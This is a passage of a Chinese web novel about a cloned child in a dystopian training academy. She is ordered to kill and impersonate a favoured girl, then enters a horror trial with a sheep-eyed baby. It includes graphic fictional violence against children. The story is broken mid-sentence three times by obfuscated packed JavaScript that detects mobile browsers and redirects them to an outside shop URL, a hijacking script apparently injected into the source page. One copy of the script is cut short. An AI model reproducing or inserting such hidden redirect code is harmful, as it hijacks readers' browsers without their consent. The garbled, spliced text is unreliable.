她几乎没有力气再站起来,只能死死瞪着苹果,后者却始终面带温柔的微笑,直到把整个钉子塞进霍山漪的脑袋,她才算做了个好人,把霍山漪扶了起来。 “1231,你怎么会这么不小心呢?”苹果垂下眼眸,眼神和语气依旧温柔,仿佛刚才用钉子扎霍山漪的不是她。 霍山漪紧紧盯着她没说话,剧烈的疼痛过后,霍山漪感受到温热的血液顺着她的后颈打湿她白色上衣。 也不知道是不是那颗钉子伤到了她的脑子,霍山漪缓过神来之后,并没有去包扎自己的伤口,或者把那颗钉子拔出来。 当然,也没有人对她的脑袋上的伤口,鲜血,有任何在意。 霍山漪也只是想着,她要先吃饭,她要吃一口热的鸡腿。 下一秒,一份香喷喷的牛排被送到霍山漪面前。 “你吃我的吧,1231。”苹果笑着说。 霍山漪安静地看着苹果盘子里的牛排,然后,她蹲下身,把自己的卤鸡腿和馒头捡起来。 上一秒才把钉子插进霍山漪的头,下一秒又装好人请霍山漪吃牛排,霍山漪想不怀疑这份牛排里有诈都难。 “不要理她了,苹果。”金发女孩蝴蝶又带着自己的两个跟班来了,她似乎很关注苹果,不论做什么都要在苹果身边。 霍山漪深吸一口气,找了个角落,默默开始啃鸡腿。 培养院的卤水很入味,鸡腿里面的肉都已经腌到接近黑色,酱油和香料的味道狠狠缠住了霍山漪的味蕾。虽然鸡腿掉在地上,又被踩过,看起来有点脏,但霍山漪更脏的垃圾都吃过了,还在乎这些? 她慢吞吞地把馒头撕成小块,用手拿起其中一块,蘸一下鸡腿上的酱汁。 要不是餐盘撒了,上面应该有更多酱汁供霍山漪细细品味。 苹果阴魂不散地坐到她对面,看着她吃饭。 看着苹果这张戴着黑色口罩的,笑眯眯地看着她的脸,霍山漪忽然涌上一股想要掐死苹果的冲动。 霎时间,食堂忽然警铃大作!霍山漪顿了一下,一边往嘴里使劲塞鸡腿肉,一边往食堂门口看。 一队穿着绀蓝色军装制服的人从大门进来,为首的男人在食堂内扫视了一圈,最后将视线定格在正在疯狂塞鸡腿肉的霍山漪身上。 他向后招了招手,几个身材壮硕的士兵便朝霍山漪的方向走过去。 霍山漪第一反应是,她能不能在十秒内把剩下的鸡腿和馒头吃完。 第二反应才是完了。 和苹果靠得太近果然没有好下场。 第三反应才是,现在逃的话,被那些穿军装的人手里的枪打死的概率有多大。 只思考了一秒,霍山漪便选择把自己最后的时间交给鸡腿。 “任何对苹果有威胁的人都必须被处死,这是霍教授的意思。” 隔着嘈杂的人群,霍山漪听见,为首的那个男人接通了通讯。 但他手里什么东西也没拿,他只是点了一下自己的太阳穴,便回复道:“我知道,我会把她处理好。” 霍山漪一眨不眨地盯着那个男人,一眨不眨地把最后一块鸡腿肉塞进嘴巴。 “把她带走。” 一句简短冰冷的话传到霍山漪耳边。 完了,今晚吃不到芝士奶油火鸡面了。 7. 所有人都会死 人死前会有走马灯吗? 霍山漪的答案是没有。 上辈子,在被程万水活活烧死的刹那,霍山漪的脑海里只有一个念头。 恨。 恨自己不能在最后的时刻把烧死她的程万水也拉下水,恨程万水背叛她,恨自己为什么没有先一步背叛程万水。 最后,她只恨自己把最后那块炸鸡让给了程万水。 叛徒不配吃炸鸡。 现在,霍山漪又要死了。 锋利的十字架把她另一只完好无损的手钉在一个看起来像放了三百年,已经被粉尘和湿气完全侵蚀的女性雕像下。 把她抓过来的男人完全不给反抗的机会,让身边的一个机器人扫描了霍山漪的身体之后,给自己点了根烟。 雕像是垂眸祈祷的姿势,霍山漪一抬头,就能看见它蒙尘的白色眼珠,像是悲悯的神情。 “X创造出来的作用就只有检测谁对苹果有威胁?我还以为什么事呢,刚上完夜班和上午的白班,准备睡觉,就把我叫过来,结果就是处置这么个小豆丁?” 站在霍山漪面前,拿着十字架形状的钉子的男人不耐烦地“啧”了一声,下一秒,他摁住霍山漪的头,准备让钉子从左到右贯穿霍山漪的脖子。 乌托邦的科技已经到达可以让人永生的阶段,生活在这里的人,唯一面对死亡的时刻,就是观看死刑犯被执行死刑的时候。 出于人道主义精神,乌托邦对在监狱里积极向上的死刑犯采取无痛去世的措施,而对于那些死不悔改的,则会采用几百,甚至几千年前流传下来的酷刑。 什么五马分尸,什么凌迟,总之,霍山漪在原来世界看的古装剧里的刑罚,甚至是更残忍的,在乌托邦都有。 而这个把钉子钉进人的体内,是乌托邦后来特有的一种刑罚,专门用来折磨十恶不赦的人的。 X的,霍山漪在心里骂了一句。她一个七岁小孩,就因为对那个死苹果起了点杀心,这就被用上酷刑了? 那个苹果到底什么来头? 霍山漪紧闭双眼,正要接受痛苦的死亡,意料之中的疼却没有降临在她身上。 “这小豆丁脑袋后面有个坑。”男人摸到霍山漪脑后,被苹果扎进去一颗钉子的地方,因为后来感觉到不是很痛,她又忙着吃饭,所以没有把钉子拿下来。 以至于,现在钉子嵌进脑袋太深,已经形成了一个坑洞。 “别玩了,早点杀完,还要回去和霍教授汇报——” 另一个一看就是这群人里话语权最大的男人开了口。 霍山漪再次闭眼,但这一次,钉子仍旧没有落到她身上。 “不用汇报了,霍教授让我来处理剩下的事。”一个穿白大褂的短发女人从教堂门口走来,乌托邦即使是白日,阳光也泛着一层冷意,照在女人身上就像给她镀了一层洁白的圣光。 显然,女人的地位比这些人都要高,没人敢对她的话有异议,霍山漪面前的男人站起身,将钉子收好,跟随其他人离开前,还颇为尊敬地朝女人点了点头。 霍山漪抬起头,没看见女人的模样不说,还被从教堂破烂的顶端照进来的阳光晃了眼,霍山漪眯起眼睛,还没反应过来,就被女人拖去了培养院的医务室。 “你叫1231对吧?”短发女人拿着保温杯,转着转椅,饶有兴趣地看着霍山漪。 “你知道自己是复制人吗?”女人喝了口茶,她的短发修剪得很凌乱,乍一看像不修边幅的学者,唯有那双漂亮的淡蓝色眼睛,精致得像打磨过后的天青石,和她这身随意的打扮格格不入。 霍山漪没有摇头,也没有点头,她警惕地看着女人。 “不用太害怕,”女人放下水杯,从上衣的口袋里拿出一张名片,“我叫白晚音,以前是黑山羊研究所的研究员,现在在培养院当校医。” 这是霍山漪第二次接触到“黑山羊研究所”这个名字。 第一次是在副本里,NPC曹意怜随身携带的名片和这个叫“白晚音”的女人一样,上面都有黑山羊研究所的名称,标志,以及两人各自的证件照和联系方式。 “我还是黑山羊研究所的研究员时,专门做的,就是复制人的研发,你的编号是数字编号,代表你是最老的那一批复制人,也是攻击性最强,情绪最不稳定的那一批。” “复制人被制造出来后最大的问题就是,对本体和其他复制体都具有非常强烈的恶意,虽然现在这种情况已经改善许多,但社会对复制人的偏见很长时间都不会消除。” 白晚音收回名片,“数字编号的复制人因为攻击性太强,基本都被系统登记为危险人物,可以的话,我还能把你的档案调出来。” “但是,黑山羊研究所已经倒闭,所有的复制体,全部被烧毁,”白晚音眯了下眼睛,“所以,我很好奇,你没有异能,是怎么在众目睽睽之下,逃出那场火灾的?” 实话说,原身并没有自己当实验体的记忆,霍山漪能看到的,就是她作为一个婴儿在垃圾堆里醒来,被一个老人收养了三年,老人因病去世,她自此开始在各种垃圾场流浪,找东西吃。 什么复制体,什么残次品,什么黑山羊研究所,她通通不知道。 这么一看,原身的身份还大有来头。 “你年纪太小,可能还没有学会人类的生活模式,我听修女妈妈说,你很少说话。”白晚音推进转椅,用手捏着霍山漪的下巴。 霍山漪正坐在一个钢制的圆台上,看起来像是做实验的地方。 “我刚刚照常检查了一下你的身体,很奇怪的是,你对苹果的攻击欲望并不高,情绪也很稳定,这不符合数字编号复制人的特性。” 壳子里的灵魂都换了一个,当然情绪稳定了。霍山漪没说话,只盯着白晚音淡蓝色的眼睛。 “我猜有人格式化过你的身体数据,”白晚音说,“不过,格不格式化都无所谓了,反正今天你都是要死的。” 说到这,白晚音特地停顿了一下,“你不好奇吗?” 仍旧没得到回答,白晚音毫不掩饰地对上霍山漪那双漆黑的,如同黑星一般深邃的眼眸,“你会说话吗?” “1231,你能叫出我的名字吗?”白晚音站起身,问霍山漪。 这时,霍山漪才开口,流畅地喊出她的名字:“白晚音。” 来到乌托邦,霍山漪第一个叫出的名字不是“爸爸”也不是“妈妈”,而是一个无足轻重的,NPC的名字——曹意怜。 而她第二个叫出的名字,也不是“爸爸”或者“妈妈”的称谓,而是一个陌生女人的名字——白晚音。 “看来,你的社会化做的还算不错,至少现在看来,没有保留兽性。”白晚音伸手挠了下霍山漪的下巴,像在逗狗。 “像个人。”白晚音说。 不知道为什么,霍山漪总觉得白晚音是在骂她,于是,霍山漪回了她一句:“你也是。” 你也算个人。 白晚音被她不痛不痒的攻击给逗笑了,她笑了一会儿,才又问:“你怕死吗?” 从她试探霍山漪,讲述复制人开始,霍山漪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079408|149471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就已经猜到,或许上面的人想杀她,但白晚音本人似乎并不是很想杀她。 能让人犹豫的,一般都是有利用价值的东西。 而现在,霍山漪要发挥自己的利用价值。 “怕。”她回答。 任何机械制造的生物都有一个特性,不畏惧死亡,因为意识可以永存,只要有新的躯壳,他们就可以实现某种意义上的“永生”。 “人才会怕死。”白晚音说。 “复制人也是人。”霍山漪抬眸。 白晚音笑了一下,仔细打量霍山漪的脸,“你这长相,和苹果没被毁容前还真是如出一辙。” 怪不得苹果整天戴着口罩,原来是毁容了,不过,这话里还有另一个隐藏信息,原身应该是苹果的复制体。 复制体只会和本体的长相一模一样。 “1231,你来培养院是真的想做老师,还是有别的目的?”白晚音挑眉。 霍山漪深吸一口气。 这种时刻,只要稍微是个正常人都能听出来,白晚音这是在和她发出合作邀请。 白晚音大概是需要的是,霍山漪这张和苹果一模一样的脸,而霍山漪则需要一个能继续活下去的机会。 所以,霍山漪现在必须拿出诚意。 “我想吃饱饭,有房子住,我在外面只能住垃圾堆,捡破铜烂铁吃。”霍山漪说。 白晚音显然没有想到霍山漪会是这个答案,但很快,她又想通了。 霍山漪现在的身体只有七岁,就算她是复制人,她也还只是个小孩复制人。 幼年期的人类绝对是最好控制的。 白晚音勾起嘴角,她对这个残次品复制人很满意,于是,她继续问:“你知道为什么让上面的人要你死吗?” “因为我对苹果有威胁,苹果对培养院来说很重要。”在对峙的过程中,霍山漪必须足够聪明,足够机灵,才能赢得合作者的青睐。 在这种无足轻重的小事上没必要隐瞒。 白晚音笑了一下,“不是苹果对培养院很重要,是培养院从一开始就只想让苹果一个人当上老师。” “我再问你最后一个问题,你知道老师是做什么的吗?知道你们现在的考核其实只是为苹果设置的吗?”白晚音顿了一下。 她的前半句话,霍山漪昨晚就听人说过了,但霍山漪不想暴露自己的听觉有多灵敏,便没有插话,只是佯装怔愣地盯着白晚音。 白晚音察觉到异样:“我猜,你是为通过科目二考核后的一百万贡献点来的。但是,我现在要告诉你,都是假的。一切都是假的。” 居然连一百万贡献点都是假的。这倒是让霍山漪很震惊。 她以为,培养院直属联邦,至少不会这么抠。 这些孩子的家属不会闹吗? “就算你今天被上面的人放过一马,你之后也会死,没通过科目二,没通过科目三都会死……就算都通过了,修女妈妈也会杀了你,她的异能可以拧断任何她看见的□□。” “除了苹果,所有人都会死。”白晚音撩起霍山漪耳边的碎发。 和以前的身体一样,这具身体的头发也呈现出蓬松的自然卷,从远处看,霍山漪就像一只卷毛小狗。 现在,这只卷毛小狗正用漆黑的圆眼一动不动地盯着白晚音,因为眼尾下垂,她面无表情时,总是透出一股似有若无的无辜。 “你想让我做什么?”霍山漪问。 白晚音一字一句,清晰地说: “我要你,杀了苹果,取代苹果。” 8. 科目二考核开始 霍山漪别无选择。 她想活着。 不和白晚音合作,她今天就要死,同意和白晚音合作,她也会死。 只是死得慢一些。 横竖都是死,在这个世界,想活着也太难了。 霍山漪掐住自己的脖子,长叹一口气。 就在刚刚,白晚音用异能往里面塞了一团黑泥。 “我的异能是腐蚀沼泽,”白晚音的影子在她话音落后像活过来一样,变成一团能动黑泥,乖巧地蹭了蹭她的手心,“只要是它触碰到的东西,都会被腐蚀,直至消散。” 她用指尖捏了下黑泥的一角,扯了一块下来,“这一块比较特殊。” 白晚音用冰冷的指尖抚摸着霍山漪脖子上的皮肤,黑泥吸附在上面,过了一秒,便快速钻进霍山漪的身体。 “它虽然已经顺着你的血液,你的骨骼,到达了心脏,却不会腐蚀你的器官。”白晚音放下手。 “但这只是暂时的,”白晚音的眸光晦暗不明,“取代苹果,我会帮你延长它保持不腐蚀状态的时间。” 霍山漪泡进宿舍的浴缸,水面淹没到她的嘴巴。 现在的情况对于霍山漪来说很不利。 首先,苹果是异能者,而且是预知异能。 其次,每个小孩在来到培养院做体检时,都装了脑机系统助手X。 白晚音告诉她,X只有两个功能,一是向参加考核的小孩播报名次,二就是检测谁对苹果有威胁。 一旦发现威胁,培养院的巡逻队就会以最快的速度赶到,就像霍山漪今天这样,被人带去处理了。 最后,修女妈妈会不计一切代价杀死任何阻碍苹果成为老师的人。 总之,只要在培养院,霍山漪就不可能有杀死苹果的机会。 她只有一个机会,在科目二考核开始,进入副本之后。 辐射区的磁场很特殊,系统X没有办法在里面准确监测,修女妈妈也只会在副本入口等待不会进入。 黑色的长□□浮在水面上,霍山漪看着水面上自己的倒影,她必须在副本内与苹果完成身份交换,并且不被任何人发现。 “完成之后,你只需要把苹果的口罩戴上,”在霍山漪离开之前,白晚音给了她一颗糖炒栗子,“科目二考核开始前的这六天,你可以随意接近苹果,我已经给上面打过招呼了。” “六天之内,你要大致摸清苹果的底细,可不要在替代她之后被人识破伪装。”白晚音拍了下霍山漪的脑袋。 至于霍山漪成功替代苹果之后的一系列需要填补的空缺和谎言,白晚音都会替她搞定。 “苹果有异能。”霍山漪没有异能,乌托邦的机器,甚至是系统X,只要稍微检查一下,就可以轻而易举地发现她是个冒牌货吧。 “复制体可以掠夺复制体的异能,你和苹果都是同一个人的复制体。”白晚音说。 苹果也是复制人?霍山漪眯了下眼睛,她一直以为,她是苹果的复制体,结果搞了半天,她们都是同类。 所以,为什么霍山漪这个复制体就要被人唾弃,苹果这个复制体就是众星捧月? 但有关复制人更多的信息,白晚音并不多说,霍山漪问了两次,有关复制人被研究出来的作用,以及《复制人保护法》,但白晚音都略过了。 聪明的合作者不会在这上面刨根究底。 在离开之前,白晚音调笑似的,用轻蔑的语气模仿修女妈妈说话:“愿拉弥亚保佑你。” “哗——” 从浴缸内站起身,水珠顺着霍山漪的皮肤往下滑落,在水面上泛起一圈圈涟漪。 霍山漪简单用洗到发硬的毛巾擦拭了一下身体,便躺到床上。 好饿。 想吃芝士奶油火鸡面。 没吃饱的霍山漪闭上双眼,她脑袋上的钉子深入嵌进她的脑袋,有点取不下来,不过不妨碍她正常生活。 霍山漪翻了个身,“咕——”的一声,肚子饿得委屈地叫起来。 她今晚要做个有芝士奶油火鸡面的梦。 * 距离科目二考核还有五天,培养院终于开始了新一轮的课程。 天不亮就被培养院的铃声吵醒,霍山漪拖着沉重又疲惫的身体跟着修女妈妈和其他小孩跑操。 “1231,没想到你还活着。”苹果的身体素质很好,她本来应该跑在最前面,但为了等队末的霍山漪,特意放慢了速度。 一开口就不是好话,霍山漪瞥了眼苹果,没回答。 她也没有力气回答。 从昨天被抓走开始,她一口饭都没吃上,现在还要跑操,没直接晕倒已经算这具身体体质极佳了。 “1231,我和很多人说过话,也和很多人做过朋友,”苹果扬起天真的笑容,“但是最后,他们都死了。” 似乎是想起了伤心事,苹果皱起眉头,一副悲伤的表情。 霍山漪依旧没理她,这些人怎么死的,苹果比谁都清楚。 直到跑完操回到教室,准备上培训课,苹果一直都跟在她的身边,甚至和坐在霍山漪身边的人换了位置。 “你想吃吗?”在上课的研究员到达教室之后,苹果神秘兮兮地从口袋里拿出一块包好的苹果形状的饼干。 霍山漪还没反应过来,苹果就飞快打开包装,掰下一半的饼干,从口罩下面扯出一条缝隙,从缝隙把半块饼干放进自己嘴里,重复道:“1231,这个饼干没有毒。” 这大概就是预知系异能的好处,能最大程度减少交流成本,别的不说,霍山漪还挺想要这异能。 霍山漪咽了下口水,她确实有点饿了。 培养院不提供早餐,如果不吃这半块饼干,她就得饿一上午。 万恶的资本家,抠到连早餐都不愿意给。 霍山漪小心翼翼地把剩下半块饼干放进嘴里,是苹果味的。 好吃。 但不能太快吞下去,不然就尝不到味道了。霍山漪用唾液把饼干从硬的泡成软的,才舍得吞下去。 想当年,霍山漪还没死的时候,在无限世界可谓呼风唤雨,想吃什么就能吃什么,什么大闸蟹,十三香小龙虾,什么热包子,热馒头她能吃到吐。 当然,霍山漪最喜欢的还是炸鸡。 现在她穿到乌托邦,吃块饼干都抠抠搜搜,生怕再也吃不到。 想到炸鸡,霍山漪不自觉地咽了下口水,开始想象嘴里的饼干是炸鸡。 “咚!” 霍山漪还没幻想完,研究员便把教案拍到讲桌上,开始上课,“老师是这个世界上最伟大的职业。” 原来还有90个孩子时,培养院按照实力把他们平均分成了好班和差班。 霍山漪原本不和苹果在一个班,她在差班。现在,淘汰了六十个,剩下的孩子就被安排到一间教室上课了。 研究员的鞋跟在教室里“嗒嗒”地响起,走了几步,他才继续说,“老师是这个世界上最受尊敬的职业。” 新一轮的洗脑开始,来到培养院,霍山漪几乎每天都会听见这么一句话。 无非是说老师多么伟大,老师多么高尚,霍山漪耳朵都要听起茧子了。 “乌托邦的老师承载着整个联邦的命运,和辐射区的副本紧密连接,”研究员开始在教室里绕圈,“你们都是通过科目一考核的孩子,我问问,现在,你们觉得,副本的存在有什么意义?” “没有意义。”金发女孩蝴蝶顺嘴就在下面接了一句。 霍山漪瞥了她一眼,一看这个蝴蝶就是个刺头。 白晚音昨晚简单提到过蝴蝶的来历,她说,蝴蝶出生在联邦高层的一个官员的家庭,从小就极尽宠爱。 当然,蝴蝶也很优秀,在遇到苹果之前,她不论做什么都是第一名。 霍山漪很好奇,这种大小姐也被送到培养院来给苹果做垫脚石? 白晚音只反问她,“你以为站在联邦高层的那群人,能有多爱自己的孩子?” 这话说的很微妙。 蝴蝶是联邦高层的孩子,苹果也是联邦高层的孩子。 研究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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但那只是内城能看见的光景,培养院在外城,外城的天空总是阴沉的,看不见什么光。 “生活在乌托邦的人需要低成本释放压力,”研究员站上讲台,“这也是科目二,关怀考核的关键。” 剩下四天的上课内容无非是把这些再重复一遍,上到最后一次时,霍山漪已经烦得不能再烦了,研究员却还孜孜不倦地重复着。 苹果第四次带给霍山漪一块苹果味的,苹果形状的饼干,这些天,她像只狗皮膏药一样黏在霍山漪身边。 没有人理解苹果为什么这么做。 她太善良了,善良到觉得一个十恶不赦的复制人太过孤单,所以主动靠近这个复制人,和她做朋友。 但霍山漪只觉得庆幸,苹果没有再把钉子塞到她身体的任何地方,苹果很安分。 第七天的课刚上完,饭还没来得及吃,修女妈妈就让所有人排队挨个上了上次那辆老式大巴。 车子慢悠悠地穿过隔离罩,霍山漪看见一块写着“云荒街东路”的牌子从车窗外飘过,没忍住扭过头多看了几眼。 苹果乖巧地坐在她身边,看似是在善意的提醒,实则语气里藏不住威胁,“1231,不要念旧。” 这些天苹果一直跟在霍山漪身边,她似乎对霍山漪很感兴趣,不知道是不是因为,她预知到了霍山漪即将杀了她。 霍山漪巴不得苹果黏在她身边,这样才能最大程度地模仿苹果。 大巴车晃晃悠悠地停在一棵枯萎的树前。 霍山漪下车时,前面下车的小孩忽然哗啦啦地吐了一地。 空气中弥漫着一股腐肉的气息,霍山漪抬起头,就看见树的果实里,一个婴儿浸泡在全是碎肉的羊水,玩着连接胎盘的脐带。 似乎是听到了外面的动静,婴儿缓缓睁开眼睛。 却不是人的眼睛。 红色的,方形的瞳眸。 是羊的眼睛。 紧跟着,婴儿张开嘴巴,发出了一声天真而稚嫩的—— “妈妈。” 9. 妈妈(一) 科目二考核副本的钥匙,是一个完整的胎盘。 霍山漪这具身体的嗅觉,比正常人要灵敏很多,正常人能够闻到的气味已经很浓郁了,即使做好心理准备,霍山漪刚下车,呼吸了一口空气,还是差点被臭晕过去。 像路边一条死了十多天没人管的,死狗的腐烂味,混合着银杏白果刺鼻的气味,一股脑涌上霍山漪的鼻腔。 再加上,队伍里有好几个小孩都吐了,空气中还弥漫着一股呕吐物的味道。 霍山漪没忍住,干呕了一声。 培养院不提供早餐,现在又还没到午饭的时间,所以,霍山漪吐不出什么。 不然,她确信自己和那几个吐在地上,几乎要把胆汁都吐出来的小孩一样狼狈。 “关怀考核只有一个要义。”修女妈妈全然不管在她身后呕吐的小孩,她站到枯萎的,看不到任何一片树叶的大树下,双手合十,虔诚地祈祷着。 过了一会儿,修女妈妈才缓缓补充后面一句话:“只需要承受。” 苹果从地上捡起一块石子,她像是闻不到味道,看不见树上结的,诡异的胎盘果实,毫无顾忌地,精准地把石子抛到修女妈妈的脑袋上。 很轻的一声“咚”淹没在此起彼伏的呕吐声中。 “我不喜欢她。”苹果侧过头,像是在对霍山漪说话,又像自言自语。 修女妈妈转过身,对苹果露出一个温和的微笑,并未理会苹果的无礼。 “老师是这个世界上最伟大的职业,”修女妈妈开始今天的洗脑,“老师是这个世界上最受尊敬的职业。” “愿你们每个人都可以成为乌托邦里最优秀,最顶尖的老师。” “科目二考核只要能活着出来,都算合格。”修女妈妈咧开嘴角,她总是穿着漆黑的长裙,带着修女头巾。 她长了一张很长的马脸,像抽象派艺术家手下的刻刀雕刻而成的艺术品,在辐射区昏暗的,反射出一阵猩红的光线下,呈现出一种诡异的美感。 “愿拉弥亚保佑。”修女妈妈再次双手合十。 实话说,霍山漪并不是很想触碰那个会叫“妈妈”的婴儿。 培养院的小孩也没有上一次考核那么积极,很多人都站在那个羊眼婴儿面前犹豫。 一个陌生小孩,脐带都没剪断,身上全是羊水,在你面前叫你妈妈,你害不害怕? 生理恐惧的程度可能不大,但心理恐惧的程度应该不亚于一个胆小鬼在深夜看恐怖片。 “我不要当老师了!我要回家!我要回家!”终于,恐惧战胜了某个可怜的小男孩,他转身就往大巴车上跑。 “我要回家找妈妈!”小男孩撞开霍山漪的肩膀,正要把苹果也撞开,就在那一瞬间,小男孩的身体忽然以一种折叠的,奇异的姿势扭曲起来。 就像被人揉皱的纸团。 甚至他连尖叫都还没来得及发出,整个人都变成了一团碎肉,像刚从绞肉机里走了一遭,连血都有没溅起几滴。 “根据《乌托邦公民情绪管理法则》,恐惧情绪指数超过5的公民将对乌托邦造成公共危害,执法队有权就地处死该公民。”在谈起法律时,修女妈妈的语气变得异常严肃。 但很快,她又朝其他小孩和蔼地笑了笑,“不用害怕,乌托邦很早以前就有了能复活人的新科技,死在副本里的,我们会专门找人回收,送到联邦总部复活。” “之前淘汰的小朋友,我们都是安全送回家的,相信培养院,相信联邦。” “我们会保证每一个小朋友的安全,”修女妈妈的笑容逐渐冷淡下来,“前提是,你们要乖乖听话。” 这下,不敢再有人逃跑,剩下的小孩陆陆续续拿起羊眼婴儿,在一阵诡异的婴儿笑声中,接二连三地消失在原地。 苹果用她的小皮鞋踩了下地上那个小男孩的碎肉,她喜欢这种柔软的触感。 紧跟着苹果重重地跳到小男孩的碎肉上,溅起的肉泥擦过霍山漪的脚踝,然后,她又故意踏出声响,朝其中一个羊眼婴儿飞奔过去。 “进到副本之后,记得来找我!”苹果用力地朝霍山漪挥手。 蝴蝶看了她一眼,又眼神不善地看向霍山漪,最后十分嫌弃地拎起养眼婴儿。 霍山漪依旧是最后几个进副本的,不过,她拿起羊眼婴儿的方式和别人的都不一样。 她是抱着羊眼婴儿进去的,胎盘上黄色的粘液顺着她的手臂滴落,她安静地看着怀里正对着她“咯咯”笑的婴儿,就像妈妈看着自己在襁褓里嗷嗷待哺的孩子。 浓郁的血雾一拥而上,霍山漪下意识闭上眼,视线再次恢复清澈时,她已经坐在一把正轻轻晃动的安乐椅上了。 旁边是燃烧的壁炉,壁炉下面有一张缝缝补补不知道多少次的破布地毯。 霍山漪一站起身,她身上盖的,一张不御寒的毯子瞬间滑落。 周围的陈设布局非常简单,一张跛脚的矮桌,几根烧了大半的蜡烛,以及几条风干的,还没霍山漪巴掌大的鱼。 衣柜里只有两件大人的衣服,其他都是小孩子的衣服。 看到这,霍山漪忽然低下头,羊眼婴儿仍旧安详地趴在她怀里,亮红的,方形的瞳孔盯着她不说话。 婴儿用还没长全的乳牙咬着自己的大拇指,稚嫩的童声轻唤霍山漪:“妈妈。” 和在进入副本之前唯一的不同是,胎盘和脐带都不见了,婴儿身上干干净净,除了被副本内低温冻得有些发红。 霍山漪用手背探了一下婴儿的额头,不是很烫,但她还是往回走到了壁炉旁边。 壁炉里的火烧得很小,霍山漪有点怕火,即便很冷,也和壁炉隔得有点远。 里面的柴火已经不够烧了。霍山漪搓了下手,把婴儿放到安乐椅上,到处找了一大圈,也只找到一根树枝。 外面在下大雪。 霍山漪本想出去找点柴,看自己还穿着培养院发的,单薄的白色长裙,又默默回到房间,套了件大人的衣服。 皮肤一接触到衣服的内衬,霍山漪立刻就被冻了个哆嗦。 衣服硬得像纸壳,却又不如纸壳防寒,更不必说,霍山漪现在仍旧是七岁的身体,穿这么大的衣服,更是被冷得打了好几个喷嚏。 霍山漪重重哈出一口热气,又使劲搓手跺脚,这个时候,她已经管不得去找什么副本NPC,副本BOSS,线索和能触发痛苦回忆的关键物品了。 再不给壁炉添柴,她就要被这风寒天给冻死了。 正要出门,原本被霍山漪放在安乐椅上的婴儿忽然哇哇大哭起来。 “妈妈!” “妈妈!” “妈妈不要走!” “我要妈妈!!!” 小孩子的哭闹声吵得霍山漪烦躁不堪,她本来打算无视,结果一开门,风雪从门外灌进来,瞬间模糊了她的视线。 “你怎么让孩子哭了?”巨大的黑影笼罩住整个房屋。 霍山漪抬起头,猝不及防地对上一双比她人都要大的眼睛,冷漠的男声落到霍山漪耳畔,霍山漪一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079410|149471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就愣住了。 一个只穿了裤子的男巨人盘腿坐在门外,他光着的上半身被冻得发紫,整个天空似乎都被这样的皮肤挡住,霍山漪看不见一点远处的世界。 “你怎么让孩子哭了?”见霍山漪没有反应,男巨人又重复问了一遍。 这一次,他拈起手里,对他来说无比袖珍的斧头,砍下破屋院子里的一棵树。 如果霍山漪的回答不能让他满意,那么霍山漪确信,斧头下一次就会落到她身上。 “壁炉没有柴了。”霍山漪决定说实话。 男巨人扫了她一眼,一阵沉默,男巨人从身后掏出几根受潮的木柴,丢到霍山漪面前,“省着点用,不要离开孩子。” 霍山漪本想说不够,可是对上男巨人那双比周围的风雪还要冷的眼睛时,她莫名觉得,如果她再说话,男巨人就会毫不犹豫地弄死她。 于是,霍山漪捡起柴火,关上门。 襁褓里的婴儿还在哇哇大哭,霍山漪准备把新的木柴添进火焰逐渐变小的壁炉里。 安乐椅就在壁炉旁边,一看见霍山漪靠近,婴儿又“咯咯”地笑起来。 “妈妈——” “妈妈——” 羊眼婴儿伸出手,像是在朝霍山漪讨要拥抱,它轻声呼唤霍山漪:“妈妈——” 霍山漪没有理会它,而是用衣服使劲把受潮的木柴表面的雪用力擦拭了几遍,尽量让木柴干一些,才放进壁炉。 一遍一遍擦拭,一遍一遍不厌其烦地听着羊眼婴儿叫“妈妈”,霍山漪把最后一根木柴放进壁炉。 火焰没有变大。 霍山漪伸出手,试图让自己已经冻僵的手指重新恢复知觉。 但火是冷的。 霍山漪站起身。 这间破屋子没有窗户,天花板也封得很死,唯一能出去的通道,就只有大门。 但门外有一个男巨人守着,照现在的情况来看,他肯定不希望霍山漪离开孩子。 或许他讨厌婴儿的哭声。 霍山漪看着还在“咯咯”笑的婴儿,脑子里忽然涌现出一个奇异的想法。 她抱起羊眼婴儿,再次打开门。或许她抱着孩子,男巨人就会允许她出去。 “你又要干什么?”几乎是在霍山漪开门的一瞬间,男巨人就不耐烦地转过身,“不是给你木柴了吗?” “回去!” 男巨人一点出去的机会都不给霍山漪,没办法,霍山漪只能重新退回小破屋,守着冒出一点点火苗的壁炉。 屋子里冷得霍山漪不得不把体温有些发烫的婴儿揣进自己怀里取暖。 小孩和小孩依偎在壁炉旁边,虽然很惨,但在看到婴儿的笑颜时,霍山漪心里翻腾起一股强烈的满足感。 幸福是某个瞬间,某个感觉的具象化。 如果是在这个副本里,那么和这个羊眼婴儿待在一起,看着它笑,就是幸福。 霍山漪不自觉地抬起手,用指尖轻轻戳弄羊眼婴儿的脸颊。 婴儿的皮肤很冷,但触碰到它时,霍山漪心里泛起一阵强烈的满足。 如果能和它永远待在一起就好了。 